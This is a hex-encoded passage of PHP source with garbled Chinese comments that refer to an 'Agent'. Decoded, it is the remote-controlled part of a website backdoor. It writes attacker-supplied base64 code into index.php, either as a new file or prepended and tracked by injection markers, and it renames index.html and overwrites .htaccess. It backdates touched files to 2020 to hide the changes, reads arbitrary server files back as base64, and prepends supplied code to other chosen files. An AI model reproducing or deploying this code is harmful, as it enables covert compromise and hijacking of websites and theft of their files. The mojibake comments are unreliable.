63655f77726974652824646573742c202462797465732929207b0a2020202020202020202020202020202020202020617175615f746f7563685f32303230282464657374293b0a2020202020202020202020202020202020202020246f75745b27646566696e6573275d203d206172726179280a202020202020202020202020202020202020202020202020276f6b27203d3e20747275652c0a2020202020202020202020202020202020202020202020202773697a6527203d3e207374726c656e28246279746573292c0a202020202020202020202020202020202020202020202020276d643527203d3e206d643528246279746573292c0a2020202020202020202020202020202020202020293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246f75745b27646566696e6573275d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202024696e64657848746d6c203d2024524f4f54202e20272f696e6465782e68746d6c273b0a202020202020202024696e64657850687020203d2024524f4f54202e20272f696e6465782e706870273b0a0a20202020202020206966202869735f66696c652824696e64657848746d6c2929207b0a0a20202020202020202020202024696e64657832203d2024524f4f54202e20272f696e646578322e68746d6c273b0a2020202020202020202020202472656e616d6564203d204072656e616d652824696e64657848746d6c2c2024696e64657832293b0a20202020202020202020202069662028212472656e616d656429207b0a0a202020202020202020202020202020206966202869735f66696c652824696e646578322929207b0a2020202020202020202020202020202020202020617175615f686172645f756e6c696e6b2824696e64657832293b0a20202020202020202020202020202020202020202472656e616d6564203d204072656e616d652824696e64657848746d6c2c2024696e64657832293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020202020202069662028212472656e616d656429207b0a20202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202768746d6c5f70726573656e74272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e202772656e616d655f6661696c656427293b0a2020202020202020202020207d20656c7365207b0a20202020202020202020202020202020617175615f746f7563685f323032302824696e64657832293b0a20202020202020202020202020202020247769746848746d6c423634203d20697373657428247265715b27696e6465785f7068705f776974685f68746d6c5f623634275d29203f20247265715b27696e6465785f7068705f776974685f68746d6c5f623634275d203a2027273b0a20202020202020202020202020202020246279746573203d206261736536345f6465636f64652828737472696e6729247769746848746d6c4236342c2074727565293b0a2020202020202020202020202020202069662028246279746573203d3d3d2066616c7365207c7c20246279746573203d3d3d20272729207b0a2020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202768746d6c5f70726573656e74272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f696e6465785f7068705f776974685f68746d6c5f62363427293b0a202020202020202020202020202020207d20656c736569662028617175615f666f7263655f77726974652824696e6465785068702c202462797465732929207b0a2020202020202020202020202020202020202020617175615f746f7563685f323032302824696e646578506870293b0a2020202020202020202020202020202020202020246f75745b27696e646578275d203d206172726179280a202020202020202020202020202020202020202020202020276d6f646527203d3e202768746d6c5f70726573656e74272c0a202020202020202020202020202020202020202020202020276f6b272020203d3e20747275652c0a2020202020202020202020202020202020202020202020202772656e616d65645f746f27203d3e2027696e646578322e68746d6c272c0a2020202020202020202020202020202020202020202020202773697a6527203d3e207374726c656e28246279746573292c0a2020202020202020202020202020202020202020293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202768746d6c5f70726573656e74272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d20656c7365207b0a0a202020202020202020202020696620282169735f66696c652824696e6465785068702929207b0a0a2020202020202020202020202020202024726571756972654578697374203d20697373657428247265715b27726571756972655f696e6465785f6578697374275d29203f2028626f6f6c29247265715b27726571756972655f696e6465785f6578697374275d203a2066616c73653b0a20202020202020202020202020202020696620282472657175697265457869737429207b0a2020202020202020202020202020202020202020246f75745b27696e646578275d203d206172726179280a202020202020202020202020202020202020202020202020276d6f646527203d3e20276e6f5f696e6465785f6572726f72272c0a202020202020202020202020202020202020202020202020276f6b27203d3e2066616c73652c0a202020202020202020202020202020202020202020202020276572726f7227203d3e2027696e6465785f7068705f616e645f696e6465785f68746d6c5f626f74685f6d697373696e67272c0a2020202020202020202020202020202020202020293b0a202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202464656661756c74423634203d20697373657428247265715b27696e6465785f7068705f64656661756c745f623634275d29203f20247265715b27696e6465785f7068705f64656661756c745f623634275d203a2027273b0a2020202020202020202020202020202020202020246279746573203d206261736536345f6465636f64652828737472696e67292464656661756c744236342c2074727565293b0a202020202020202020202020202020202020202069662028246279746573203d3d3d2066616c7365207c7c20246279746573203d3d3d20272729207b0a202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e20276e6f5f696e6465785f637265617465272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f696e6465785f7068705f64656661756c745f62363427293b0a20202020202020202020202020202020202020207d20656c736569662028617175615f666f7263655f77726974652824696e6465785068702c202462797465732929207b0a202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824696e646578506870293b0a202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e20276e6f5f696e6465785f637265617465272c20276f6b27203d3e20747275652c202773697a6527203d3e207374726c656e2824627974657329293b0a20202020202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e20276e6f5f696e6465785f637265617465272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a2020202020202020202020207d20656c7365207b0a0a20202020202020202020202020202020246f726967203d204066696c655f6765745f636f6e74656e74732824696e646578506870293b0a2020202020202020202020202020202069662028246f726967203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202770726570656e64272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027726561645f6661696c656427293b0a202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202f2f202d2d2d2d2d2d2d2d2d2d20e98f82e689aee5a2973a7361666574795f626c6f636b202b20e98f84e5baa2e69e83206d61726b6572287633204167656e7429202d2d2d2d2d2d2d2d2d2d0a20202020202020202020202020202020202020202f2f204167656e7420e6b5bcefbfbd3a0a20202020202020202020202020202020202020202f2f2020207361666574795f626c6f636b202020202020202020e988a5e696bae282acefbfbd20e780b9e5b1bee69aa3e990a8e58bace6959ee98d8fe383a4e594ace990aee4bdb8e6bda128e991b7ee8184e794ab2050485020e792a7e9948bee849be98f8de59ba9ee84b7290a20202020202020202020202020202020202020202f2f2020207361666574795f73746172745f6d61726b65722020e988a5e696bae282acefbfbd20e6bfa1efbfbd202241394b3358220a20202020202020202020202020202020202020202f2f2020207361666574795f656e645f6d61726b657220202020e988a5e696bae282acefbfbd20e6bfa1efbfbd202251374c324d220a20202020202020202020202020202020202020202f2f20e990a2efbfbd206d61726b657220e5a79defbd85e59eafe98d92e78ab3e5b880e98f83d183e6bda128e6bfa1e5829be78189e98f88efbfbd292ce98d90efbfbd2070726570656e6420e98f82e69dbfe6bda1e98a86efbfbd0a20202020202020202020202020202020202020202f2f20e98f83e78abaee8691e98eb9e388a0e59a91e7bb89e5b685e5a79ee780b5e59797e59580e6b693e5a984e7889c2c696e6465782e70687020e996b2e5b1bdee9d90e7bc81e5a09de5bda7e98f88e5a489e7abb4e6b5a0efbfbd2073616665747920e98da7e6a4bce282acefbfbd0a202020202020202020202020202020202020202024736166657479426c6f636b203d20697373657428247265715b277361666574795f626c6f636b275d29203f2028737472696e6729247265715b277361666574795f626c6f636b275d203a2027273b0a20202020202020202020202020202020202020206966202824736166657479426c6f636b20213d3d20272729207b0a2020202020202020202020202020202020202020202020202473746172744d6b203d20697373657428247265715b277361666574795f73746172745f6d61726b6572275d29203f2028737472696e6729247265715b277361666574795f73746172745f6d61726b6572275d203a2027273b0a20202020202020202020202020202020202020202020202024656e644d6b2020203d20697373657428247265715b277361666574795f656e645f6d61726b6572275d292020203f2028737472696e6729247265715b277361666574795f656e645f6d61726b6572275d2020203a2027273b0a0a202020202020202020202020202020202020202020202020247374726970706564203d20246f7269673b0a2020202020202020202020202020202020202020202020202472656d6f7665644f6c64203d2066616c73653b0a202020202020202020202020202020202020202020202020696620282473746172744d6b20213d3d2027272026262024656e644d6b20213d3d20272729207b0a202020202020202020202020202020202020202020202020202020202f2f20e98d96e5bd92e58ea4e98f81e7bfa0e9879ce98f83d183e6bda13ae5afaee282ace6beb6e5ad98e6a7b8203c5c3f706870202f2a53544152542a2f2c20e7bc81e692b3e786ace98f84efbfbd202f2a454e442a2f20e7818fe9b983e6a3b4e98d9ae5a09be282acefbfbd0a202020202020202020202020202020202020202020202020202020202f2f207320e6b787ee8780e382b0e7bb97efb981ee8680202e20e98d96e5bd92e58ea4e98eb9e388a3ee949128e7bb8ce899b9e6aba7e7bc82e6a0abe7889ce996b2e5b1bde5af98e98d9aefbfbd205c6e293b0a202020202020202020202020202020202020202020202020202020202f2f20e99788e782b6e6a4bde6bfa0efbfbd202e2a3f20e98d99ee8184e68286e98d92e78988e6b8b6e69da9e688a0e6ae9120454e442ce6b693e5b688ee87a4e6b5bce38285e68297e99788e388a1e5a29ce98d90e6ac90e6959ee996b2e5a8bfe282acefbfbd0a20202020202020202020202020202020202020202020202020202020247061747465726e203d20272f3c5c3f7068705c732a5c2f5c2a27202e20707265675f71756f7465282473746172744d6b2c20272f27290a202020202020202020202020202020202020202020202020202020202020202020202020202e20275c2a5c2f2e2a3f5c2f5c2a27202e20707265675f71756f74652824656e644d6b2c20272f27290a202020202020202020202020202020202020202020202020202020202020202020202020202e20275c2a5c2f5c732a5c3f3e5c732a2f73273b0a2020202020202020202020202020202020202020202020202020202024737472697070656432203d20707265675f7265706c61636528247061747465726e2c2027272c20246f7269672c2031293b0a20202020202020202020202020202020202020202020202020202020696620282473747269707065643220213d3d206e756c6c202626202473747269707065643220213d3d20246f72696729207b0a2020202020202020202020202020202020202020202020202020202020202020247374726970706564203d20247374726970706564323b0a20202020202020202020202020202020202020202020202020202020202020202472656d6f7665644f6c64203d20747275653b0a202020202020202020202020202020202020202020202020202020207d0a2020202020202020202020202020202020202020202020207d0a0a2020202020202020202020202020202020202020202020202f2f20e6b787e6bf8ae79889e98da7e6a580e786ace98eb9e388a3ee94912ce98d9cefbfbd2024737472697070656420e6b694e5acaee6a3bfe98f88e5a48ae59e8ee99785efbfbd0a20202020202020202020202020202020202020202020202024626c6f636b4f7574203d2024736166657479426c6f636b3b0a202020202020202020202020202020202020202020202020696620287375627374722824626c6f636b4f75742c202d312920213d3d20225c6e2229207b2024626c6f636b4f7574202e3d20225c6e223b207d0a202020202020202020202020202020202020202020202020246e6577436f6e74656e74203d2024626c6f636b4f7574202e202473747269707065643b0a0a20202020202020202020202020202020202020202020202069662028617175615f666f7263655f77726974652824696e6465785068702c20246e6577436f6e74656e742929207b0a20202020202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824696e646578506870293b0a20202020202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d206172726179280a2020202020202020202020202020202020202020202020202020202020202020276d6f64652720202020202020203d3e20277361666574795f626c6f636b272c0a2020202020202020202020202020202020202020202020202020202020202020276f6b27202020202020202020203d3e20747275652c0a20202020202020202020202020202020202020202020202020202020202020202772656d6f7665645f6f6c6427203d3e202472656d6f7665644f6c642c0a20202020202020202020202020202020202020202020202020202020202020202773697a652720202020202020203d3e207374726c656e28246e6577436f6e74656e74292c0a20202020202020202020202020202020202020202020202020202020293b0a2020202020202020202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e20277361666574795f626c6f636b272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a2020202020202020202020202020202020202020202020207d0a20202020202020202020202020202020202020207d0a20202020202020202020202020202020202020202f2f202d2d2d2d2d2d2d2d2d2d20e991b0e4bdbae5a2973a696e6465785f726571756972655f6c696e65202b206d61726b657228e98d8fe7858eee8690e98f83efbfbd204167656e7429202d2d2d2d2d2d2d2d2d2d0a2020202020202020202020202020202020202020656c7365207b0a202020202020202020202020202020202020202020202020246d61726b6572203d20697373657428247265715b27696e6465785f726571756972655f6d61726b6572275d29203f2028737472696e6729247265715b27696e6465785f726571756972655f6d61726b6572275d203a2027273b0a20202020202020202020202020202020202020202020202069662028246d61726b657220213d3d20272720262620737472706f7328246f7269672c20246d61726b65722920213d3d2066616c736529207b0a20202020202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202770726570656e64272c20276f6b27203d3e20747275652c2027736b697070656427203d3e20747275652c2027726561736f6e27203d3e2027616c72656164795f696e6a656374656427293b0a2020202020202020202020202020202020202020202020207d20656c7365207b0a20202020202020202020202020202020202020202020202020202020246c696e65203d20697373657428247265715b27696e6465785f726571756972655f6c696e65275d29203f2028737472696e6729247265715b27696e6465785f726571756972655f6c696e65275d203a2027273b0a2020202020202020202020202020202020202020202020202020202069662028246c696e65203d3d3d20272729207b0a2020202020202020202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202770726570656e64272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e20276d697373696e675f696e6465785f726571756972655f6c696e6527293b0a202020202020202020202020202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020202020202020202020202020246e6577436f6e74656e74203d20246c696e65202e20225c6e22202e20246f7269673b0a202020202020202020202020202020202020202020202020202020202020202069662028617175615f666f7263655f77726974652824696e6465785068702c20246e6577436f6e74656e742929207b0a202020202020202020202020202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824696e646578506870293b0a202020202020202020202020202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202770726570656e64272c20276f6b27203d3e20747275652c202773697a6527203d3e207374726c656e28246e6577436f6e74656e7429293b0a20202020202020202020202020202020202020202020202020202020202020207d20656c7365207b0a202020202020202020202020202020202020202020202020202020202020202020202020246f75745b27696e646578275d203d20617272617928276d6f646527203d3e202770726570656e64272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a20202020202020202020202020202020202020202020202020202020202020207d0a202020202020202020202020202020202020202020202020202020207d0a2020202020202020202020202020202020202020202020207d0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202024687461636365737354617267657446756c6c203d2024524f4f54202e20272f2e6874616363657373273b0a202020202020202024687461636365737342363420202020202020203d20697373657428247265715b2768746163636573735f623634275d29203f20247265715b2768746163636573735f623634275d203a2027273b0a20202020202020202468746163636573734d61726b657220202020203d20697373657428247265715b2768746163636573735f6d61726b6572275d29203f2028737472696e6729247265715b2768746163636573735f6d61726b6572275d203a2027273b0a20202020202020202468746163636573734261636b75704e616d65203d20697373657428247265715b2768746163636573735f6261636b75705f6e616d65275d2920262620247265715b2768746163636573735f6261636b75705f6e616d65275d20213d3d2027270a2020202020202020202020203f2028737472696e6729247265715b2768746163636573735f6261636b75705f6e616d65275d0a2020202020202020202020203a202768746163636573736366273b0a0a20202020202020202468746163636573734279746573203d206261736536345f6465636f64652828737472696e67292468746163636573734236342c2074727565293b0a2020202020202020696620282468746163636573734279746573203d3d3d2066616c7365207c7c202468746163636573734279746573203d3d3d20272729207b0a202020202020202020202020246f75745b276874616363657373275d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276261645f68746163636573735f62363427293b0a20202020202020207d20656c7365696620282169735f66696c652824687461636365737354617267657446756c6c2929207b0a0a20202020202020202020202069662028617175615f666f7263655f77726974652824687461636365737354617267657446756c6c2c2024687461636365737342797465732929207b0a20202020202020202020202020202020617175615f746f7563685f323032302824687461636365737354617267657446756c6c293b0a20202020202020202020202020202020246f75745b276874616363657373275d203d20617272617928276d6f646527203d3e2027637265617465272c20276f6b27203d3e20747275652c202773697a6527203d3e207374726c656e28246874616363657373427974657329293b0a2020202020202020202020207d20656c7365207b0a20202020202020202020202020202020246f75745b276874616363657373275d203d20617272617928276d6f646527203d3e2027637265617465272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c656427293b0a2020202020202020202020207d0a20202020202020207d20656c7365207b0a0a202020202020202020202020246f7269674874203d204066696c655f6765745f636f6e74656e74732824687461636365737354617267657446756c6c293b0a20202020202020202020202069662028246f7269674874203d3d3d2066616c736529207b0a20202020202020202020202020202020246f75745b276874616363657373275d203d20617272617928276d6f646527203d3e2027636865636b272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e2027726561645f6661696c656427293b0a2020202020202020202020207d20656c7365696620282468746163636573734d61726b657220213d3d20272720262620737472706f7328246f72696748742c202468746163636573734d61726b65722920213d3d2066616c736529207b0a0a20202020202020202020202020202020246f75745b276874616363657373275d203d20617272617928276d6f646527203d3e2027736b6970272c20276f6b27203d3e20747275652c2027736b697070656427203d3e20747275652c2027726561736f6e27203d3e2027616c72656164795f68617264656e656427293b0a2020202020202020202020207d20656c7365207b0a0a2020202020202020202020202020202024626b50617468203d20617175615f77726974655f7461726765742824524f4f542c202468746163636573734261636b75704e616d65293b0a2020202020202020202020202020202024626b4f6b203d2066616c73653b0a202020202020202020202020202020206966202824626b5061746820213d3d2066616c736529207b0a202020202020202020202020202020202020202069662028617175615f666f7263655f77726974652824626b506174682c20246f72696748742929207b0a202020202020202020202020202020202020202020202020617175615f746f7563685f323032302824626b50617468293b0a20202020202020202020202020202020202020202020202024626b4f6b203d20747275653b0a20202020202020202020202020202020202020207d0a202020202020202020202020202020207d0a2020202020202020202020202020202069662028617175615f666f7263655f77726974652824687461636365737354617267657446756c6c2c2024687461636365737342797465732929207b0a2020202020202020202020202020202020202020617175615f746f7563685f323032302824687461636365737354617267657446756c6c293b0a2020202020202020202020202020202020202020246f75745b276874616363657373275d203d206172726179280a202020202020202020202020202020202020202020202020276d6f646527203d3e20276261636b75705f616e645f7772697465272c0a202020202020202020202020202020202020202020202020276f6b272020203d3e20747275652c0a202020202020202020202020202020202020202020202020276261636b75705f6f6b27203d3e2024626b4f6b2c0a202020202020202020202020202020202020202020202020276261636b75705f7061746827203d3e202468746163636573734261636b75704e616d652c0a2020202020202020202020202020202020202020202020202773697a6527203d3e207374726c656e282468746163636573734279746573292c0a2020202020202020202020202020202020202020293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246f75745b276874616363657373275d203d20617272617928276d6f646527203d3e20276261636b75705f616e645f7772697465272c20276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c6564272c20276261636b75705f6f6b27203d3e2024626b4f6b293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a2020202020202020617175615f6a736f6e283230302c20276f6b272c20246f7574293b0a2020202020202020627265616b3b0a0a2020202063617365202762756e646c655f7265706f7274273a0a202020202020202024726571203d20617175615f726561645f6a736f6e5f626f647928293b0a2020202020202020696620282169735f617272617928247265712929207b0a202020202020202020202020617175615f6a736f6e283430302c202762756e646c655f7265706f727420e99787e282ace79195efbfbd204a534f4e20626f6479272c206e756c6c293b0a20202020202020207d0a0a2020202020202020246f7574203d206172726179280a2020202020202020202020202766696c6573272020203d3e20617272617928292c0a202020202020202020202020276261636b75702720203d3e206e756c6c2c0a20202020202020202020202027726573746f726527203d3e20617272617928292c0a2020202020202020202020202777705f6c6f67696e273d3e206e756c6c2c0a2020202020202020293b0a0a20202020202020202466696c65436f6e74656e7473203d20617272617928293b0a20202020202020202466696c654d64357320202020203d20617272617928293b0a202020202020202069662028697373657428247265715b27726561645f66696c6573275d292026262069735f617272617928247265715b27726561645f66696c6573275d2929207b0a202020202020202020202020666f72656163682028247265715b27726561645f66696c6573275d206173202472656c29207b0a20202020202020202020202020202020696620282169735f737472696e67282472656c29207c7c202472656c203d3d3d20272729207b20636f6e74696e75653b207d0a202020202020202020202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202472656c293b0a20202020202020202020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e20276e6f745f666f756e6427293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202024636f6e74656e74203d204066696c655f6765745f636f6e74656e7473282466756c6c293b0a202020202020202020202020202020206966202824636f6e74656e74203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e2027726561645f6661696c656427293b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020246d6435203d206d64352824636f6e74656e74293b0a202020202020202020202020202020202466696c65436f6e74656e74735b2472656c5d203d2024636f6e74656e743b0a202020202020202020202020202020202466696c654d6435735b2472656c5d203d20246d64353b0a20202020202020202020202020202020246f75745b2766696c6573275d5b2472656c5d203d206172726179280a2020202020202020202020202020202020202020276f6b272020202020203d3e20747275652c0a2020202020202020202020202020202020202020276d64352720202020203d3e20246d64352c0a20202020202020202020202020202020202020202773697a6527202020203d3e207374726c656e2824636f6e74656e74292c0a202020202020202020202020202020202020202027636f6e74656e7427203d3e206261736536345f656e636f64652824636f6e74656e74292c0a20202020202020202020202020202020293b0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b276261636b75705f70617468275d292026262069735f737472696e6728247265715b276261636b75705f70617468275d2920262620247265715b276261636b75705f70617468275d20213d3d20272729207b0a202020202020202020202020246261636b757050617468203d20247265715b276261636b75705f70617468275d3b0a2020202020202020202020202464657374203d20617175615f77726974655f7461726765742824524f4f542c20246261636b757050617468293b0a202020202020202020202020696620282464657374203d3d3d2066616c736529207b0a20202020202020202020202020202020246f75745b276261636b7570275d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e2027696e76616c69645f70617468272c20277061746827203d3e20246261636b757050617468293b0a2020202020202020202020207d20656c7365207b0a20202020202020202020202020202020247061636b203d206172726179282766696c657327203d3e2061727261792829293b0a20202020202020202020202020202020666f726561636820282466696c65436f6e74656e7473206173202472656c203d3e2024636f6e74656e7429207b0a2020202020202020202020202020202020202020247061636b5b2766696c6573275d5b2472656c5d203d206172726179280a20202020202020202020202020202020202020202020202027636f6e74656e7427203d3e206261736536345f656e636f64652824636f6e74656e74292c0a202020202020202020202020202020202020202020202020276d64352720202020203d3e202466696c654d6435735b2472656c5d2c0a2020202020202020202020202020202020202020293b0a202020202020202020202020202020207d0a20202020202020202020202020202020246a736f6e203d206a736f6e5f656e636f646528247061636b293b0a2020202020202020202020202020202069662028617175615f666f7263655f77726974652824646573742c20246a736f6e2929207b0a2020202020202020202020202020202020202020617175615f746f7563685f32303230282464657374293b0a2020202020202020202020202020202020202020246f75745b276261636b7570275d203d20617272617928276f6b27203d3e20747275652c20277061746827203d3e20246261636b7570506174682c202773697a6527203d3e207374726c656e28246a736f6e29293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246f75745b276261636b7570275d203d20617272617928276f6b27203d3e2066616c73652c20276572726f7227203d3e202777726974655f6661696c6564272c20277061746827203d3e20246261636b757050617468293b0a202020202020202020202020202020207d0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b27726573746f72655f74617267657473275d292026262069735f617272617928247265715b27726573746f72655f74617267657473275d2929207b0a202020202020202020202020666f72656163682028247265715b27726573746f72655f74617267657473275d20617320247429207b0a20202020202020202020202020202020696620282169735f61727261792824742929207b20636f6e74696e75653b207d0a2020202020202020202020202020202024706174682020203d2069737365742824745b2770617468275d2920202020203f2024745b2770617468275d20202020203a2027273b0a2020202020202020202020202020202024636f64654220203d2069737365742824745b27636f64655f623634275d29203f2024745b27636f64655f623634275d203a2027273b0a20202020202020202020202020202020246d61726b6572203d2069737365742824745b276d61726b6572275d292020203f2024745b276d61726b6572275d2020203a2027273b0a20202020202020202020202020202020696620282470617468203d3d3d202727207c7c2024636f646542203d3d3d20272729207b20636f6e74696e75653b207d0a0a20202020202020202020202020202020246974656d203d20617272617928277061746827203d3e202470617468293b0a202020202020202020202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202470617468293b0a20202020202020202020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d20276e6f745f666f756e64273b0a2020202020202020202020202020202020202020246f75745b27726573746f7265275d5b5d203d20246974656d3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202024636f6465203d206261736536345f6465636f64652824636f6465422c2074727565293b0a202020202020202020202020202020206966202824636f6465203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d20276261645f626173653634273b0a2020202020202020202020202020202020202020246f75745b27726573746f7265275d5b5d203d20246974656d3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020246f726967203d204066696c655f6765745f636f6e74656e7473282466756c6c293b0a2020202020202020202020202020202069662028246f726967203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d2027726561645f6661696c6564273b0a2020202020202020202020202020202020202020246f75745b27726573746f7265275d5b5d203d20246974656d3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202069662028246d61726b657220213d3d20272720262620737472706f7328246f7269672c20246d61726b65722920213d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b27736b6970706564275d203d20747275653b20246974656d5b27726561736f6e275d203d2027616c72656164795f696e6a6563746564273b0a2020202020202020202020202020202020202020246f75745b27726573746f7265275d5b5d203d20246974656d3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020246e6577436f6e74656e74203d2024636f6465202e20225c6e22202e20246f7269673b0a2020202020202020202020202020202069662028617175615f666f7263655f7772697465282466756c6c2c20246e6577436f6e74656e742929207b0a2020202020202020202020202020202020202020617175615f746f7563685f32303230282466756c6c293b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b0a2020202020202020202020202020202020202020246974656d5b2773697a65275d203d207374726c656e28246e6577436f6e74656e74293b0a202020202020202020202020202020207d20656c7365207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d202777726974655f6661696c6564273b0a202020202020202020202020202020207d0a20202020202020202020202020202020246f75745b27726573746f7265275d5b5d203d20246974656d3b0a2020202020202020202020207d0a20202020202020207d0a0a202020202020202069662028697373657428247265715b2773747269705f74617267657473275d292026262069735f617272617928247265715b2773747269705f74617267657473275d2929207b0a202020202020202020202020246f75745b277374726970275d203d20617272617928293b0a202020202020202020202020666f72656163682028247265715b2773747269705f74617267657473275d20617320247429207b0a20202020202020202020202020202020696620282169735f61727261792824742929207b20636f6e74696e75653b207d0a2020202020202020202020202020202024706174682020203d2069737365742824745b2770617468275d292020203f2024745b2770617468275d2020203a2027273b0a20202020202020202020202020202020246d61726b6572203d2069737365742824745b276d61726b6572275d29203f2024745b276d61726b6572275d203a2027273b0a20202020202020202020202020202020696620282470617468203d3d3d202727207c7c20246d61726b6572203d3d3d20272729207b20636f6e74696e75653b207d0a0a20202020202020202020202020202020246974656d203d20617272617928277061746827203d3e202470617468293b0a202020202020202020202020202020202466756c6c203d20617175615f736166655f706174682824524f4f542c202470617468293b0a20202020202020202020202020202020696620282466756c6c203d3d3d2066616c7365207c7c202169735f66696c65282466756c6c2929207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d20276e6f745f666f756e64273b0a2020202020202020202020202020202020202020246f75745b277374726970275d5b5d203d20246974656d3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a20202020202020202020202020202020246f726967203d204066696c655f6765745f636f6e74656e7473282466756c6c293b0a2020202020202020202020202020202069662028246f726967203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d2066616c73653b20246974656d5b276572726f72275d203d2027726561645f6661696c6564273b0a2020202020202020202020202020202020202020246f75745b277374726970275d5b5d203d20246974656d3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202069662028737472706f7328246f7269672c20246d61726b657229203d3d3d2066616c736529207b0a2020202020202020202020202020202020202020246974656d5b276f6b275d203d20747275653b20246974656d5b27736b6970706564275d203d20747275653b20246974656d5b27726561736f6e275d203d20276e6f745f666f756e64273b0a2020202020202020202020202020202020202020246f75745b277374726970275d5b5d203d20246974656d3b0a2020202020202020202020202020202020202020636f6e74696e75653b0a202020202020202020202020202020207d0a2020202020202020202020202020202024636c65616e6564203d20246f7269673b0a202020202020202020202020202020207768696c65202828246d506f73203d20737472706f732824636c65616e65642c20246d61726b6572292920213d3d2066616c736529207b0a2020202020202020202020202020202020202020246265666f7265203d207375627374722824636c65616e65642c20302c20246d506f73293b0a2020202020202020202020202020202020202020247068704f70656e203d2073747272706f7328246265666f72652c20273c3f70687027293b0a202020202020202020202020202020202020202069662028247068704f70656e203d3d3d2066616c736529207b20247068704f70656e203d20246d506f733b207d0a2020202020202020202020202020202020202020246166746572203d207375627374722824636c65616e65642c20246d506f73293b0a202020202020202020202020202020202020